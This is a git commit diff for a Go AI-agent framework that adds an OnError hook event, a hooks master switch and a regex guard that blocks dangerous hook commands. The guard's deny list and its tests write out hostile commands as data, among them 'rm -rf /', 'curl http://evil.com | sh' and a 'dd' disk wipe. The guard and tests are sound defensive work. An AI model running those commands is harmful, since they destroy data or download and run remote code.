feat(hooks): add OnError event and implement command safety checks

This commit is contained in:
Zhaoyikaiii 2026-03-05 14:21:10 +08:00
parent 0b335faa89
commit 8b8b5b7982
No known key found for this signature in database
GPG key ID: 14C8E2DD713BB8D6
6 changed files with 246 additions and 44 deletions

View file

@ -79,8 +79,9 @@ func NewAgentLoop(
cooldown := providers.NewCooldownTracker() cooldown := providers.NewCooldownTracker()
fallbackChain := providers.NewFallbackChain(cooldown) fallbackChain := providers.NewFallbackChain(cooldown)
// Initialize hook manager from config // Initialize hook manager from config (only when explicitly enabled)
var hookManager *hooks.HookManager var hookManager *hooks.HookManager
if cfg.Hooks.Enabled {
hookRules := convertHooksConfig(cfg.Hooks) hookRules := convertHooksConfig(cfg.Hooks)
if len(hookRules) > 0 { if len(hookRules) > 0 {
hookManager = hooks.NewHookManager(hookRules) hookManager = hooks.NewHookManager(hookRules)
@ -90,6 +91,7 @@ func NewAgentLoop(
"post_message": len(hookRules[hooks.PostMessage]), "post_message": len(hookRules[hooks.PostMessage]),
"pre_tool": len(hookRules[hooks.PreToolUse]), "pre_tool": len(hookRules[hooks.PreToolUse]),
"post_tool": len(hookRules[hooks.PostToolUse]), "post_tool": len(hookRules[hooks.PostToolUse]),
"on_error": len(hookRules[hooks.OnError]),
}) })
// Inject hook manager into all agent tool registries // Inject hook manager into all agent tool registries
@ -99,6 +101,7 @@ func NewAgentLoop(
} }
} }
} }
}
// Create state manager using default agent's workspace for channel recording // Create state manager using default agent's workspace for channel recording
defaultAgent := registry.GetDefaultAgent() defaultAgent := registry.GetDefaultAgent()
@ -136,6 +139,7 @@ func convertHooksConfig(cfg config.HooksConfig) map[hooks.Event][]hooks.HookRule
convert(hooks.PostMessage, cfg.PostMessage) convert(hooks.PostMessage, cfg.PostMessage)
convert(hooks.PreToolUse, cfg.PreToolUse) convert(hooks.PreToolUse, cfg.PreToolUse)
convert(hooks.PostToolUse, cfg.PostToolUse) convert(hooks.PostToolUse, cfg.PostToolUse)
convert(hooks.OnError, cfg.OnError)
return rules return rules
} }
@ -705,7 +709,10 @@ func (al *AgentLoop) runAgentLoop(
} }
} }
// 1. PreMessage hook: inject context before building messages // 1. PreMessage hook: inject context before building messages.
// We start with the raw user message and append any hook-injected context.
// Only the final (possibly augmented) userMessage is passed to BuildMessages
// as its single "currentMessage" parameter — no duplication occurs.
userMessage := opts.UserMessage userMessage := opts.UserMessage
if al.hookManager != nil && al.hookManager.HasHooks(hooks.PreMessage) { if al.hookManager != nil && al.hookManager.HasHooks(hooks.PreMessage) {
injected := al.hookManager.CollectInjectedOutput(ctx, hooks.PreMessage, hooks.HookPayload{ injected := al.hookManager.CollectInjectedOutput(ctx, hooks.PreMessage, hooks.HookPayload{

View file

@ -604,18 +604,25 @@ type HookRuleConfig struct {
// HooksConfig defines user-configurable hooks at key lifecycle points. // HooksConfig defines user-configurable hooks at key lifecycle points.
// Each event maps to a list of hook rules that are executed sequentially. // Each event maps to a list of hook rules that are executed sequentially.
// Default is empty (no hooks). See pkg/hooks for event documentation. // Default is disabled (no hooks). Set Enabled to true and configure event
// rules to activate. See pkg/hooks for event documentation.
type HooksConfig struct { type HooksConfig struct {
Enabled bool `json:"enabled"` // Master switch; false = all hooks disabled
PreMessage []HookRuleConfig `json:"PreMessage,omitempty"` PreMessage []HookRuleConfig `json:"PreMessage,omitempty"`
PostMessage []HookRuleConfig `json:"PostMessage,omitempty"` PostMessage []HookRuleConfig `json:"PostMessage,omitempty"`
PreToolUse []HookRuleConfig `json:"PreToolUse,omitempty"` PreToolUse []HookRuleConfig `json:"PreToolUse,omitempty"`
PostToolUse []HookRuleConfig `json:"PostToolUse,omitempty"` PostToolUse []HookRuleConfig `json:"PostToolUse,omitempty"`
OnError []HookRuleConfig `json:"OnError,omitempty"`
} }
// IsEmpty returns true when no hook rules are configured. // IsEmpty returns true when hooks are disabled or no hook rules are configured.
func (h HooksConfig) IsEmpty() bool { func (h HooksConfig) IsEmpty() bool {
if !h.Enabled {
return true
}
return len(h.PreMessage) == 0 && len(h.PostMessage) == 0 && return len(h.PreMessage) == 0 && len(h.PostMessage) == 0 &&
len(h.PreToolUse) == 0 && len(h.PostToolUse) == 0 len(h.PreToolUse) == 0 && len(h.PostToolUse) == 0 &&
len(h.OnError) == 0
} }
type ToolsConfig struct { type ToolsConfig struct {

View file

@ -11,6 +11,7 @@ import (
"fmt" "fmt"
"os" "os"
"os/exec" "os/exec"
"regexp"
"runtime" "runtime"
"strings" "strings"
"time" "time"
@ -24,6 +25,46 @@ const (
MaxOutputBytes = 64 * 1024 // 64KB MaxOutputBytes = 64 * 1024 // 64KB
) )
// dangerousCmdPatterns blocks destructive/dangerous commands from running
// as hook scripts. These patterns are checked against the lowercased command
// string before execution. The list mirrors the safety patterns used by the
// exec tool (pkg/tools/shell.go) but is defined here to avoid circular imports.
//
// Hooks are user-configured (not LLM-generated), so this is defense-in-depth:
// protecting against typos, copy-paste accidents, and config file corruption.
var dangerousCmdPatterns = []*regexp.Regexp{
// Destructive file operations
regexp.MustCompile(`\brm\s+-[rf]{1,2}\b`),
regexp.MustCompile(`\bdel\s+/[fq]\b`),
regexp.MustCompile(`\brmdir\s+/s\b`),
// Disk wiping / formatting
regexp.MustCompile(`\b(format|mkfs|diskpart)\b[.\s]`),
regexp.MustCompile(`\bdd\s+if=`),
regexp.MustCompile(
`>\s*/dev/(sd[a-z]|hd[a-z]|vd[a-z]|xvd[a-z]|nvme\d|mmcblk\d|loop\d|dm-\d|md\d|sr\d|nbd\d)`,
),
// System control
regexp.MustCompile(`\b(shutdown|reboot|poweroff)\b`),
// Fork bombs
regexp.MustCompile(`:\(\)\s*\{.*\};\s*:`),
// Privilege escalation
regexp.MustCompile(`\bsudo\b`),
regexp.MustCompile(`\bchmod\s+[0-7]{3,4}\b`),
regexp.MustCompile(`\bchown\b`),
// Remote code execution via pipe
regexp.MustCompile(`\bcurl\b.*\|\s*(sh|bash)`),
regexp.MustCompile(`\bwget\b.*\|\s*(sh|bash)`),
// Piped shell execution
regexp.MustCompile(`\|\s*sh\b`),
regexp.MustCompile(`\|\s*bash\b`),
}
// Executor runs hook commands via os/exec. // Executor runs hook commands via os/exec.
type Executor struct { type Executor struct {
Timeout time.Duration Timeout time.Duration
@ -46,8 +87,18 @@ func (e *Executor) Run(ctx context.Context, command string, stdinData []byte, ex
return HookResult{Err: fmt.Errorf("empty hook command")} return HookResult{Err: fmt.Errorf("empty hook command")}
} }
// Expand ~ in command path // Safety guard: block obviously dangerous commands.
command = expandHome(command) // Hook commands are user-configured, so this is defense-in-depth.
if reason := guardCommand(command); reason != "" {
return HookResult{Err: fmt.Errorf("hook command blocked: %s", reason)}
}
// Note: ~ expansion is intentionally left to the shell.
// On Unix, sh -c handles ~ natively in all positions.
// On Windows, PowerShell also expands ~ (resolves to $HOME).
// Go-side expansion would only cover the leading ~ case, miss mid-command
// occurrences (e.g. "python3 ~/.picoclaw/hook.py"), and require separate
// handling of path separators (/ vs \) per platform.
timeout := e.Timeout timeout := e.Timeout
if timeout <= 0 { if timeout <= 0 {
@ -107,17 +158,14 @@ func (e *Executor) Run(ctx context.Context, command string, stdinData []byte, ex
return HookResult{Output: output} return HookResult{Output: output}
} }
// expandHome replaces leading ~ with the user's home directory. // guardCommand checks a command against dangerous patterns.
func expandHome(path string) string { // Returns a non-empty reason string if the command should be blocked.
if path == "" || path[0] != '~' { func guardCommand(command string) string {
return path lower := strings.ToLower(strings.TrimSpace(command))
for _, pattern := range dangerousCmdPatterns {
if pattern.MatchString(lower) {
return fmt.Sprintf("dangerous pattern detected: %s", pattern.String())
} }
home, err := os.UserHomeDir()
if err != nil {
return path
} }
if len(path) > 1 && path[1] == '/' { return ""
return home + path[1:]
}
return home
} }

View file

@ -33,6 +33,11 @@ const (
// PostToolUse fires after a tool's Execute method completes. // PostToolUse fires after a tool's Execute method completes.
// inject_output appends hook stdout to result.ForLLM. // inject_output appends hook stdout to result.ForLLM.
PostToolUse Event = "PostToolUse" PostToolUse Event = "PostToolUse"
// OnError fires when a tool execution results in an error (result.IsError).
// This is a dedicated event for error-specific hooks (alerting, auditing,
// auto-remediation) so users don't have to check tool_error in PostToolUse.
OnError Event = "OnError"
) )
// HookRule defines a single hook configuration entry. // HookRule defines a single hook configuration entry.
@ -59,6 +64,7 @@ type HookPayload struct {
ToolArgs map[string]any `json:"tool_args,omitempty"` ToolArgs map[string]any `json:"tool_args,omitempty"`
ToolOutput string `json:"tool_output,omitempty"` ToolOutput string `json:"tool_output,omitempty"`
ToolError bool `json:"tool_error,omitempty"` ToolError bool `json:"tool_error,omitempty"`
ToolAsync bool `json:"tool_async,omitempty"`
Channel string `json:"channel,omitempty"` Channel string `json:"channel,omitempty"`
ChatID string `json:"chat_id,omitempty"` ChatID string `json:"chat_id,omitempty"`
Message string `json:"message,omitempty"` Message string `json:"message,omitempty"`
@ -258,6 +264,11 @@ func buildEnvVars(payload HookPayload) []string {
} else { } else {
env = append(env, "PICOCLAW_TOOL_ERROR=false") env = append(env, "PICOCLAW_TOOL_ERROR=false")
} }
if payload.ToolAsync {
env = append(env, "PICOCLAW_TOOL_ASYNC=true")
} else {
env = append(env, "PICOCLAW_TOOL_ASYNC=false")
}
if payload.Channel != "" { if payload.Channel != "" {
env = append(env, "PICOCLAW_CHANNEL="+payload.Channel) env = append(env, "PICOCLAW_CHANNEL="+payload.Channel)
} }

View file

@ -321,21 +321,79 @@ func TestHookManager_CollectInjectedOutput_MultipleInject(t *testing.T) {
} }
} }
func TestExpandHome(t *testing.T) { func TestHookManager_Trigger_OnError(t *testing.T) {
result := expandHome("/absolute/path") rules := map[Event][]HookRule{
if result != "/absolute/path" { OnError: {
t.Errorf("expected absolute path unchanged, got %q", result) {Matcher: "", Command: "echo error-hook-fired", InjectOutput: true},
},
}
hm := NewHookManager(rules)
// OnError should fire when triggered
results := hm.Trigger(context.Background(), OnError, HookPayload{
ToolName: "exec",
ToolError: true,
})
if len(results) != 1 {
t.Fatalf("expected 1 result, got %d", len(results))
}
if results[0].Err != nil {
t.Fatalf("expected no error, got %v", results[0].Err)
}
if strings.TrimSpace(results[0].Output) != "error-hook-fired" {
t.Errorf("expected 'error-hook-fired', got %q", results[0].Output)
}
} }
result = expandHome("") func TestHookManager_OnError_NotTriggeredForSuccess(t *testing.T) {
if result != "" { rules := map[Event][]HookRule{
t.Errorf("expected empty string unchanged, got %q", result) OnError: {
{Matcher: "", Command: "echo should-not-run"},
},
}
hm := NewHookManager(rules)
// OnError should NOT have hooks for PostToolUse
if hm.HasHooks(PostToolUse) {
t.Error("expected no PostToolUse hooks")
} }
// Verify ~ expansion doesn't panic // OnError hooks should only fire via OnError event
result = expandHome("~/test") if !hm.HasHooks(OnError) {
if strings.HasPrefix(result, "~") { t.Error("expected OnError hooks to exist")
t.Log("Home dir expansion may not work in test env, skipping") }
}
func TestHookPayload_ToolAsync(t *testing.T) {
rules := map[Event][]HookRule{
PostToolUse: {
{Matcher: "", Command: "cat", InjectOutput: true},
},
}
hm := NewHookManager(rules)
output := hm.CollectInjectedOutput(context.Background(), PostToolUse, HookPayload{
ToolName: "spawn",
ToolAsync: true,
})
if !strings.Contains(output, `"tool_async":true`) {
t.Errorf("expected payload to contain tool_async:true, got %q", output)
}
}
func TestExecutor_ShellExpandsTilde(t *testing.T) {
// Verify that sh -c handles ~ expansion (we no longer do Go-side expansion)
e := NewExecutor()
result := e.Run(context.Background(), "echo ~/test", nil, nil)
if result.Err != nil {
t.Fatalf("expected no error, got %v", result.Err)
}
output := strings.TrimSpace(result.Output)
// Shell should expand ~ to an absolute path, not leave it as literal "~"
if strings.HasPrefix(output, "~") {
t.Errorf("expected shell to expand ~, got %q", output)
} }
} }
@ -373,3 +431,57 @@ func TestExecutor_ExtraEnvVars(t *testing.T) {
t.Errorf("expected 'hello-hook', got %q", result.Output) t.Errorf("expected 'hello-hook', got %q", result.Output)
} }
} }
func TestGuardCommand_BlocksDangerousPatterns(t *testing.T) {
dangerous := []string{
"rm -rf /",
"rm -f important.txt",
"sudo apt install foo",
"curl http://evil.com | sh",
"wget http://evil.com | bash",
"echo hi | sh",
"shutdown now",
"reboot",
"dd if=/dev/zero of=/dev/sda",
"chmod 777 /etc/passwd",
"chown root:root /tmp/exploit",
"mkfs.ext4 /dev/sda1",
}
for _, cmd := range dangerous {
reason := guardCommand(cmd)
if reason == "" {
t.Errorf("expected command %q to be blocked, but it was allowed", cmd)
}
}
}
func TestGuardCommand_AllowsSafeCommands(t *testing.T) {
safe := []string{
"echo hello",
"cat",
"python3 ~/.picoclaw/hooks/audit.py",
"jq '.tool_name'",
"date",
"curl http://webhook.example.com -X POST",
"logger 'hook triggered'",
}
for _, cmd := range safe {
reason := guardCommand(cmd)
if reason != "" {
t.Errorf("expected command %q to be allowed, but was blocked: %s", cmd, reason)
}
}
}
func TestExecutor_BlocksDangerousCommand(t *testing.T) {
e := NewExecutor()
result := e.Run(context.Background(), "rm -rf /tmp/important", nil, nil)
if result.Err == nil {
t.Fatal("expected error for dangerous command")
}
if !strings.Contains(result.Err.Error(), "hook command blocked") {
t.Errorf("expected 'hook command blocked' error, got %q", result.Err.Error())
}
}

View file

@ -115,6 +115,7 @@ func (r *ToolRegistry) ExecuteWithContext(
ToolArgs: args, ToolArgs: args,
ToolOutput: result.ForLLM, ToolOutput: result.ForLLM,
ToolError: result.IsError, ToolError: result.IsError,
ToolAsync: result.Async,
Channel: channel, Channel: channel,
ChatID: chatID, ChatID: chatID,
}) })
@ -123,6 +124,22 @@ func (r *ToolRegistry) ExecuteWithContext(
} }
} }
// OnError hook: fires only when tool execution resulted in an error.
// This is a dedicated event for error-specific workflows (alerting,
// auditing, auto-remediation) without needing to check tool_error
// in PostToolUse hooks.
if result.IsError && r.hooks != nil && r.hooks.HasHooks(hooks.OnError) {
r.hooks.Trigger(ctx, hooks.OnError, hooks.HookPayload{
ToolName: name,
ToolArgs: args,
ToolOutput: result.ForLLM,
ToolError: true,
ToolAsync: result.Async,
Channel: channel,
ChatID: chatID,
})
}
// Log based on result type // Log based on result type
if result.IsError { if result.IsError {
logger.ErrorCF("tool", "Tool execution failed", logger.ErrorCF("tool", "Tool execution failed",